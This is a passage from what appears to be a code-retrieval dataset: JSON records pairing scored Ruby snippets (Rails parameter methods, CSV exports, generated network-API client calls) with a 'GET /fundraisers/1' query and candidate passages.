\"\\r\\n\") do |csv|\n csv << variable_names.to_a\n self.each do |solution|\n csv << variable_names.map do |n|\n case term = solution[n]\n when RDF::Node then bnode_map[term] ||=\n begin\n this = bnode_gen\n bnode_gen = bnode_gen.succ\n this\n end\n when RDF::Statement\n RDF::Query::Solutions(\n RDF::Query::Solution.new(subject: term.subject, predicate: term.predicate, object: term.object)\n ).to_csv(bnode_map: bnode_map).split.last.strip\n else\n solution[n].to_s.strip\n end\n end\n end\n end\n end", "title": "" }, { "docid": "0cfd75085031bb4d52ff28a2f7a616a7", "score": "0.44408932", "text": "def labor_cost_params\n params.require(:labor_cost).permit(:worker_id, :schedule_id, :date, :value, :status)\n end", "title": "" }, { "docid": "9284f789bb1d542c9793595c918410cf", "score": "0.44349456", "text": "def as_csv(*)\n CSV.generate do |csv|\n csv << attributes_with_unit\n nodes.each { |node| csv << node_row(node) }\n end\n end", "title": "" }, { "docid": "70a7403d29bca9e4d9a45f90abd8c9e9", "score": "0.44318193", "text": "def percentage_cost_params\n params.require(:percentage_cost).permit(:order_id, :quantify)\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "3851072e3484a2529b7717566d2a0200", "score": "0.44317198", "text": "def set_cost\n @cost = Cost.find(params[:id])\n end", "title": "" }, { "docid": "0fcc732581cd6a8426d55e8f4a7439ee", "score": "0.4431674", "text": "def get_logical_router_routing_table_in_csv_format_csv_with_http_info(logical_router_id, transport_node_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_logical_router_routing_table_in_csv_format_csv ...'\n end\n # verify the required parameter 'logical_router_id' is set\n if @api_client.config.client_side_validation && logical_router_id.nil?\n fail ArgumentError, \"Missing the required parameter 'logical_router_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_logical_router_routing_table_in_csv_format_csv\"\n end\n # verify the required parameter 'transport_node_id' is set\n if @api_client.config.client_side_validation && transport_node_id.nil?\n fail ArgumentError, \"Missing the required parameter 'transport_node_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_logical_router_routing_table_in_csv_format_csv\"\n end\n if @api_client.config.client_side_validation && opts[:'route_source'] && !['BGP', 'STATIC', 'CONNECTED'].include?(opts[:'route_source'])\n fail ArgumentError, 'invalid value for \"route_source\", must be one of BGP, STATIC, CONNECTED'\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = '/logical-routers/{logical-router-id}/routing/routing-table?format=csv'.sub('{' + 'logical-router-id' + '}', logical_router_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'transport_node_id'] = transport_node_id\n query_params[:'network_prefix'] = opts[:'network_prefix'] if !opts[:'network_prefix'].nil?\n query_params[:'route_source'] = opts[:'route_source'] if !opts[:'route_source'].nil?\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalRouterRouteTableInCsvFormat')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi#get_logical_router_routing_table_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "d5c48777ae2789522df08cd3edef8918", "score": "0.44306773", "text": "def get_bgp_neighbor_advertised_routes_in_csv_format_csv_with_http_info(logical_router_id, neighbor_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_bgp_neighbor_advertised_routes_in_csv_format_csv ...'\n end\n # verify the required parameter 'logical_router_id' is set\n if @api_client.config.client_side_validation && logical_router_id.nil?\n fail ArgumentError, \"Missing the required parameter 'logical_router_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_bgp_neighbor_advertised_routes_in_csv_format_csv\"\n end\n # verify the required parameter 'neighbor_id' is set\n if @api_client.config.client_side_validation && neighbor_id.nil?\n fail ArgumentError, \"Missing the required parameter 'neighbor_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_bgp_neighbor_advertised_routes_in_csv_format_csv\"\n end\n # resource path\n local_var_path = '/logical-routers/{logical-router-id}/routing/bgp/neighbors/{neighbor-id}/advertised-routes?format=csv'.sub('{' + 'logical-router-id' + '}', logical_router_id.to_s).sub('{' + 'neighbor-id' + '}', neighbor_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BgpNeighborRouteDetailsInCsvFormat')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi#get_bgp_neighbor_advertised_routes_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "10e2a9ae8f162c20c89be1cd7f03857d", "score": "0.44305912", "text": "def get_logical_router_route_table_in_csv_format_csv_with_http_info(logical_router_id, transport_node_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogicalRoutingAndServicesApi.get_logical_router_route_table_in_csv_format_csv ...\"\n end\n # verify the required parameter 'logical_router_id' is set\n if @api_client.config.client_side_validation && logical_router_id.nil?\n fail ArgumentError, \"Missing the required parameter 'logical_router_id' when calling LogicalRoutingAndServicesApi.get_logical_router_route_table_in_csv_format_csv\"\n end\n # verify the required parameter 'transport_node_id' is set\n if @api_client.config.client_side_validation && transport_node_id.nil?\n fail ArgumentError, \"Missing the required parameter 'transport_node_id' when calling LogicalRoutingAndServicesApi.get_logical_router_route_table_in_csv_format_csv\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = \"/logical-routers/{logical-router-id}/routing/route-table?format=csv\".sub('{' + 'logical-router-id' + '}', logical_router_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'transport_node_id'] = transport_node_id\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalRouterRouteTableInCsvFormat')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogicalRoutingAndServicesApi#get_logical_router_route_table_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "355a755417f9d7f22f2ef394141ddf24", "score": "0.4427355", "text": "def costo_params\n params.require(:costo).permit(:SKU, :Descripcion, :Lote, :Unidad, :SKU_Ingrediente, :Ingrediente, :Requerimiento, :Unidad, :Ingrediente, :Precio_Ingrediente)\n end", "title": "" }, { "docid": "6796a21cd2f433d7413e20b8d3132bba", "score": "0.4422956", "text": "def plan_params\n @plan_params = params.require(:plan).permit(:specialty_id, :learn_form, :learn_period, :discipline_ids)\n @plan_params[:discipline_ids] = params[:plan][\"discipline_ids\"]\n @plan_params\n end", "title": "" }, { "docid": "56fb24e8386e0b27f08b4d35b8fcd9b2", "score": "0.44169953", "text": "def request_params\n params.require(:request).permit(:id, :flow_id, :user_id, :category_id, :sub_category_id, :title, :description,\n :client_user_id,\n money_cost_attributes: [\n :id,\n :request_id,\n :_destroy,\n :cost_value,\n :annotation,\n ], \n costs_attributes: [\n :_destroy,\n :initial_cost,\n :price,\n :time_required,\n :person_number, \n :cost_price_type\n ], \n initial_money_cost_attributes: [\n :id,\n :request_id,\n :_destroy,\n :cost_value,\n :annotation,\n ], \n monthly_money_cost_attributes: [\n :id,\n :_destroy,\n :cost_value,\n :annotation,\n ], \n annual_money_cost_attributes: [\n :id,\n :_destroy,\n :cost_value,\n :annotation,\n ], \n initial_human_cost_attributes: [\n :id,\n :_destroy,\n :time_required,\n :number_of_people,\n :annotation,\n ], \n monthly_human_cost_attributes: [\n :id,\n :_destroy,\n :time_required,\n :number_of_people,\n :annotation,\n ], \n annual_human_cost_attributes: [\n :id,\n :_destroy,\n :time_required,\n :number_of_people,\n :annotation,\n ], \n finishing_evidences_attributes: [\n :_destroy,\n :id,\n :comment,\n :file_name,\n :remove_file_name,\n ],\n execution_evidences_attributes: [\n :_destroy,\n :id,\n :comment,\n :file_name,\n :remove_file_name,\n ],\n )\n end", "title": "" }, { "docid": "0a50d9e2387d288ca5ffd404ac946541", "score": "0.44058532", "text": "def attraction_params\n params.\n require(:attraction).\n permit(:area_id, :name, :description, :cost, :image, :link).\n tap do |params|\n params[:cost] = BigDecimal.new(params[:cost])\n end\n end", "title": "" }, { "docid": "56c7afd721950a0b0bd5fd3a18804499", "score": "0.4388735", "text": "def storage_parameters_csv\n read('storage_parameters_csv')\n end", "title": "" }, { "docid": "60dcb21aa6bb14e27649535a7842fff5", "score": "0.43706235", "text": "def fitness_cost\n p = @controller.parms\n p.fitness_cost_per_neuron * @neurons.size + p.fitness_cost_per_gene * @genes.size\n end", "title": "" }, { "docid": "0f0dadf45ca63d647cebd0f4c49b193b", "score": "0.43701282", "text": "def administration_cost_params\n params.require(:administration_cost).permit(:company_id, :event_date, :concept, :display, :unit_price, :quantity, :total, :image1)\n end", "title": "" }, { "docid": "2954fca937debec3d9442efc1c3c3e63", "score": "0.43690842", "text": "def operating_cost_params\n params.require(:operating_cost).permit(:greenhouse_id, :event_date, :concept, :display, :unit_price, :quantity, :total, \n :image1, :company_id)\n end", "title": "" }, { "docid": "674f71c772ede67270b24f4d05cab7b8", "score": "0.43555197", "text": "def bp_cost_by_race_class_params\n params.require(:bp_cost_by_race_class).permit(\n :character_class_id,\n :race_id,\n :bp_cost\n )\n end", "title": "" }, { "docid": "07e82b4eb740bec84d68f30cbc5c6343", "score": "0.43512136", "text": "def set_cost\r\n @cost = Cost.find(params[:id])\r\n end", "title": "" }, { "docid": "7356f19d1f6df2be3a61805ba3c03ac5", "score": "0.4348297", "text": "def stp_mst_cost\n config_get('interface', 'stp_mst_cost', @get_args)\n end", "title": "" }, { "docid": "4a35fedd3d807f5297cbe2b4582554e4", "score": "0.43412375", "text": "def costome_params\n params.require(:costome).permit(:porcenjatesalud, :salud, :porcentajepension, :pension, :porcentajerprofesional, :rprofesional, :porcentajesena, :sena, :porcentajeicbf, :icbf, :porcentajecajacompensacion, :cajacompensaciontotal, :porcentajetotal_costom, :total_costom, :porcentajetotalneto, :totalneto, :sueldo_id, :prestacion_id)\n end", "title": "" }, { "docid": "b90231a526f7999dc08e3a1ce3da82b7", "score": "0.4339659", "text": "def output_parameters\r\n # This outputs a 'parameter' csv which only contains the campaigns / adgroups of PRODUCTS (with a product dest-url)\r\n params_array = []\r\n @csv_array.each do |i|\r\n headline_has_price = i[4] && i[4].class == String && i[4].include?(@currency_symbol)\r\n desc_line_1_has_price = i[5] && i[5].class == String && i[5].include?(@currency_symbol)\r\n desc_line_2_has_price = i[6] && i[6].class == String && i[6].include?(@currency_symbol)\r\n product_has_dest_url = i[8] && i[8].class == String && i[8].scan(/\\d{8}/).any?\r\n\r\n if (headline_has_price || desc_line_1_has_price || desc_line_2_has_price ) && product_has_dest_url\r\n params_array << [i[0], i[1], i[8]] \r\n end\r\n end\r\n\r\n ############### CAMPAIGNS ON TOP ####################\r\n # @csv_array.sort_by!{|a| [ (a[9]||''), (a[16]||''), (a[11].to_s||''), (a[12].to_s||'') ]}.reverse! ## This is a sort. Needed\r\n\r\n ######### OUTPUT A LIST OF CAMPIAGNS ADGROUPS & DESTINATION URLS\r\n params_array.uniq!\r\n if params_array\r\n params_array.select!{|i| i[1] && i[1].class == String && i[1].length > 0}\r\n end\r\n params_array\r\n # CSV.open('GOOGLE_DOC_PARAMS_OUTPUT.csv', 'wb') do |meh|\r\n\r\n # params_array.each do |param|\r\n # meh << param\r\n # end\r\n # end\r\nend", "title": "" }, { "docid": "16735073559cce215d60a24b2365821b", "score": "0.4336551", "text": "def plan_params\n params.require(:plan).permit(:stripe_id, :description, :cost, :credit_per_month)\n end", "title": "" }, { "docid": "3cc059ffe2b9264cc870c8fbe0a10089", "score": "0.43342885", "text": "def get_logical_router_route_table_in_csv_format_csv_with_http_info(logical_router_id, transport_node_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_logical_router_route_table_in_csv_format_csv ...'\n end\n # verify the required parameter 'logical_router_id' is set\n if @api_client.config.client_side_validation && logical_router_id.nil?\n fail ArgumentError, \"Missing the required parameter 'logical_router_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_logical_router_route_table_in_csv_format_csv\"\n end\n # verify the required parameter 'transport_node_id' is set\n if @api_client.config.client_side_validation && transport_node_id.nil?\n fail ArgumentError, \"Missing the required parameter 'transport_node_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_logical_router_route_table_in_csv_format_csv\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = '/logical-routers/{logical-router-id}/routing/route-table?format=csv'.sub('{' + 'logical-router-id' + '}', logical_router_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'transport_node_id'] = transport_node_id\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalRouterRouteTableInCsvFormat')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi#get_logical_router_route_table_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "5fe4c80ac8f715cdc7e55bc369dc3f6b", "score": "0.43292665", "text": "def csv\n unique_identifiers = params[:ids]\n filename = params[:filename].empty? ? \"export-#{Time.current.to_s(:iso8601)}.csv\" : params[:filename] + '.csv'\n structural = params.fetch(:structural, '0').to_i.positive?\n\n digital_objects = Repo.where(unique_identifier: unique_identifiers)\n csv = Bulwark::StructuredCSV.generate(digital_objects.map { |d| d.to_hash(structural: structural) })\n\n send_data csv, type: 'text/csv', filename: filename, disposition: :download\n end", "title": "" }, { "docid": "6fafbcaa101364816e61922f0d3059aa", "score": "0.43291968", "text": "def parameter_groups\n cpgs = []\n @cluster.cluster_parameter_groups.each do |cpg|\n cpgs << cpg.parameter_group_name\n end\n cpgs\n end", "title": "" }, { "docid": "b5994bd45978c4cafe393df94fc969c3", "score": "0.43166375", "text": "def costing_params\n params.require(:costing).permit(:foreign_cost, :markup, :stock_id)\n end", "title": "" }, { "docid": "14d24ed9facaca63f20d33e76b89655b", "score": "0.43138564", "text": "def dealer_costs_headers(params = {}, options = {}, &block)\n default_option(options, :record_class, Header)\n perform_request(:get, 'headers/dealer_costs', options.merge(params: params), &block)\n end", "title": "" }, { "docid": "e094b92a49a732d07de4f182414b0e33", "score": "0.430684", "text": "def csv\n @tournament = Tournament.find(params[:id])\n filename = @tournament.name.downcase.gsub(/[^0-9a-z]/, \"_\") + \".csv\"\n send_data(@tournament.to_csv, :type => 'text/csv; charset=utf-8; header=present', :filename => filename)\n end", "title": "" }, { "docid": "d22dc1887d074550ae666be535aa7973", "score": "0.42944244", "text": "def iteration_params\n params.require(:iteration).permit(\n :time, :cost\n )\n end", "title": "" }, { "docid": "ed5b3cd59ff6368185d9dd17437ca385", "score": "0.42919976", "text": "def cpm_task_params\n params.require(:cpm_task).permit(:cpm_user_id, :cpm_project_id, :name, :assigned_to, :deadline, :cpm_process_id, :cpm_priority_id, :man_hour)\n end", "title": "" }, { "docid": "170585fa89232b61ec46eb98447d3642", "score": "0.42882982", "text": "def cost_upload_params\n params.require(:cost_upload).permit(:file_upload_id, :name, :category, :source, :debit1, :debit2, :credit1, :credit2, :subtotal_debit1, :subtotal_debit2, :subtotal_credit1, :subtotal_credit2, :net_profit1, :net_profit2, :net_loss1, :net_loss2, :period_start1, :period_start2, :period_end1, :period_end2, :active_status, :del_status, :user_id)\n end", "title": "" }, { "docid": "faf46adf9b4bf904ff95439d078fae30", "score": "0.42826498", "text": "def bmet_cost_params\n params.require(:bmet_cost).permit(:name, :unit_quantity, :cost, :created_at, :updated_at, :bmet_work_order_id, :work_request_id, :bmet_cost_item_id)\n end", "title": "" }, { "docid": "5728d09b673c91130e78a3c5ec0158aa", "score": "0.42724416", "text": "def plan_params\n params[:plan]\n end", "title": "" }, { "docid": "5a95b7c233e94bc210e00c2872be6603", "score": "0.4238504", "text": "def get_optimal_params(data_set, current_entropy)\n\t\t\toptimal_params = {best_gain: 0.0}\n\n\t\t\tfor_each_attribute(data_set) do |column_index|\n\t\t\t\tattribute_value_range(column_index).each do |divider_value|\n\t\t\t\n\t\t\t\t\ttrue_set, false_set = divide_set(column_index, divider_value, data_set)\n\t\t\t\t\tgain = information_gain(true_set, false_set, current_entropy)\n\n\t\t\t\t\tif gain > optimal_params[:best_gain]\n\t\t\t\t\t\toptimal_params.merge!({\n\t\t\t\t\t\t\tbest_gain: gain,\n\t\t\t\t\t\t\tcolumn: column_index,\n\t\t\t\t\t\t\tdividing_value: divider_value,\n\t\t\t\t\t\t\ttrue_set: true_set,\n\t\t\t\t\t\t\tfalse_set: false_set\n\t\t\t\t\t\t})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\toptimal_params\n\t\tend", "title": "" }, { "docid": "10fefeabae44c7de1a16bd7999204c2a", "score": "0.42378002", "text": "def index\n keyword = params[:keyword]\n costmin = params[:costmin]\n costmax = params[:costmax]\n action = params[:action_id]\n @costs = Cost.search(keyword, costmin, costmax, action)\n end", "title": "" }, { "docid": "fa6158b3d536dbe1e4b77defac694247", "score": "0.4225271", "text": "def plan_params\n params[:plan]\n end", "title": "" }, { "docid": "52817551aec460eef793490fc4046cfe", "score": "0.4219226", "text": "def get_csv_statements_report_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ReconciliationApi.get_csv_statements_report ...'\n end\n # resource path\n local_var_path = '/reporting/statements/download'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiSecretKey']\n\n new_options = opts.merge(\n :operation => :\"ReconciliationApi.get_csv_statements_report\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ReconciliationApi#get_csv_statements_report\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a3171d5baba53aff27ae1ebd6225393f", "score": "0.42175755", "text": "def project_params\n params.require(:project).permit(:id, :name, :description, :bg_color, :text_color, :kanban_state_ids,\n :costs_attributes => [:id, :price, :user_id],\n :user_ids => []\n )\n end", "title": "" }, { "docid": "33d76d6cba4e8e8806d165b2c52a3403", "score": "0.42123958", "text": "def delivery_plan_params\n params.require(:delivery_plan).permit(:order_id, :produce_task_ids, :number, :fin_type, :agency_fund, :delivery_date, :specify_logistic, :logistic_provider_id, :logistic_code)\n end", "title": "" }, { "docid": "6189157b17bc01f6b996e701b12fbb69", "score": "0.42040387", "text": "def project_params\n params.require(:project).permit(:user_id, :name, :description,\n project_costs_attributes: [:id, :cost_type, :amount, :user_id, :project_id, :_destroy],\n material_uses_attributes: [:id, :material_purchase_id, :project_id, :user_id, :units, :_destroy])\n end", "title": "" }, { "docid": "3ecc773302267dd1a38f7460798a54d8", "score": "0.41988125", "text": "def to_csv\n return \"\" if @links.count == 0\n str = CSV.generate do |csv|\n csv << [\"id\", \"name\", \"info\", \"collab_with\", \"count\"]\n @links.each do |link|\n source = find_node(link[:source])\n target = find_node(link[:target])\n csv << [source[:id], source[:name], source[:group], target[:id], link[:weight]]\n end\n end\n str\n end", "title": "" }, { "docid": "6ef699c99fa6a3ccdb31b80d770f6b86", "score": "0.4181432", "text": "def index\n topic_id = params[:topic_id]\n @possibilities = Possibility.where(:topic_id => topic_id)\n @topic = Topic.find topic_id\n respond_to do |format|\n format.html\n format.csv { send_data @possibilities.to_csv }\n end\n end", "title": "" }, { "docid": "84acbec25b8f011ea4929a48a01736d3", "score": "0.41803408", "text": "def current_travel_cost_params\n params.require(:current_travel_cost).permit(:bus, :car, :train, :light_rail)\n end", "title": "" }, { "docid": "4bcfd2661ae695c1edbb6db138fa605f", "score": "0.41796783", "text": "def material_params\n params.require(:material).permit(:name, :cost, :total, :project_id)\n end", "title": "" }, { "docid": "7755d66b362d856c9ef1500a120a8206", "score": "0.41723844", "text": "def plan_params\n params.require(:plan).permit(:thickness, :wide, :length, :final_sheet, :final_piece, :final_row, :finish_at, :real_finish_at, :is_urgency, :allowance, :is_declicacy, :to, :status)\n end", "title": "" }, { "docid": "f6367a2b95a779f4b06056779b4f3741", "score": "0.41656116", "text": "def styles_params_1\n {\n dataSetId: @dataSetId,\n effectiveDate: @effectiveDate,\n modelYear: \"2017\",\n algCode: \"100140125\",\n residuals: true,\n expanded: true\n }\n end", "title": "" }, { "docid": "34208f5bec2119ad7085065d6b47c6d4", "score": "0.4159946", "text": "def get_logical_switch_vtep_table_in_csv_format_csv_with_http_info(lswitch_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiLogicalSwitchingLogicalSwitchesApi.get_logical_switch_vtep_table_in_csv_format_csv ...'\n end\n # verify the required parameter 'lswitch_id' is set\n if @api_client.config.client_side_validation && lswitch_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lswitch_id' when calling ManagementPlaneApiLogicalSwitchingLogicalSwitchesApi.get_logical_switch_vtep_table_in_csv_format_csv\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = '/logical-switches/{lswitch-id}/vtep-table?format=csv'.sub('{' + 'lswitch-id' + '}', lswitch_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n query_params[:'transport_node_id'] = opts[:'transport_node_id'] if !opts[:'transport_node_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'VtepCsvListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiLogicalSwitchingLogicalSwitchesApi#get_logical_switch_vtep_table_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a42a843c520518d7e208b108225e06c6", "score": "0.41577452", "text": "def get_trip_costs(trip_id)\n return self.costs.where(trip_id: trip_id)\n end", "title": "" }, { "docid": "745aa3f8e6a89acb0d76bd083aa99cbf", "score": "0.41492712", "text": "def medicare_cost_params\n params.require(:medicare_cost).permit(:npi, :last_name, :first_name, :mi, :credentials, :gender, :entity_code, :address_line_1, :address_line_2, :city, :zip, :state, :country, :provider_type, :medicare_participation_indicator, :place_of_service, :hcps_code, :hcpcs_description, :services_provided_count, :beneficiaries_count, :distinct_services_per_beneficiary_count, :average_medicare_allowed_amount, :stdev_medicare_allowed_amount, :average_submitted_charge_amount, :stdev_submitted_charge_amount, :average_medicare_payment_amount, :stdev_medicare_payment_amount)\n end", "title": "" }, { "docid": "95216b4faf52651a4671ab4bf5132e9b", "score": "0.41480637", "text": "def plan_execution_params\n params.permit(\n :plan,\n :task,\n :run_options => [\n :step_set,\n :noop,\n :rmdisk,\n :run_for_nodes => {},\n ],\n )\n end", "title": "" }, { "docid": "b5c92a081408ac2a7024065ea5212f12", "score": "0.41478848", "text": "def cost_center_params\n params.require(:cost_center).permit(:name, :code, :customer_id, :budget, :user_id, :control_time_id)\n end", "title": "" } ]
55e8cff23cedc2a038c025fcaa1e5603
GET /fundraisers/1 GET /fundraisers/1.json
[ { "docid": "deb5290836dde1b03b2be69cfc78a14a", "score": "0.729471", "text": "def show\n @fundraiser = Fundraiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundraiser }\n end\n end", "title": "" } ]
[ { "docid": "7c8f8fa497669b965fb13282a3f37ba0", "score": "0.7204716", "text": "def show\n @fund = Fund.friendly.find(params[:id])\n\n render json: @fund\n end", "title": "" }, { "docid": "5928468f0bf087b503a022f1608ca11d", "score": "0.71344763", "text": "def index\n @funds = Fund.all\n\n render json: @funds\n end", "title": "" }, { "docid": "11337f83d448db2c6b2dd20c228faafd", "score": "0.7026556", "text": "def index\n @fundraisers = Fundraiser.all\n end", "title": "" }, { "docid": "247624c3185937332871666aa498f17c", "score": "0.69102705", "text": "def show\n render json: @fund\n end", "title": "" }, { "docid": "04c3080fad68cb24a489130edbbf5154", "score": "0.6627414", "text": "def show\n @admin_fund = Fund.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_fund }\n end\n end", "title": "" }, { "docid": "f477bef2ef8fa293e9ac4b22d76f1172", "score": "0.6447103", "text": "def new\n @fundraiser = Fundraiser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json 